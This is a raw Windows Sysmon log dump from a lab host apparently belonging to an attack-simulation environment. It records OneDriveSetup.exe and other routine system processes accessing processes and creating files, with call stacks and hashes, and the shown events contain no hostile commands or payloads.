23542300x800000000000000044019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.580{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDrive.exeMD5=E22475A3A3FD996E6AED8FB344FC1277,SHA256=A1FBD37A3F712E6C90A94C35DB03190D221CB6BDCB33D71DCE3A68DB4E88354B,IMPHASH=0DDE6F6385D4E009D674E84073836363truefalse - insufficient disk space 10341000x800000000000000044018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.576{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-2F09-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.576{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5C-613B-2F09-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000044016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:44.561{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDrive.exe2021-09-10 14:44:44.561 10341000x800000000000000044015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F34-613B-7608-00000000F001}5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6E01-613B-E106-00000000F001}7104C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-65DF-613B-7D00-00000000F001}3512C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.551{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-65DF-613B-7C00-00000000F001}3596C:\Windows\system32\WinrsHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dafb0|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000044004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F34-613B-7608-00000000F001}5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft 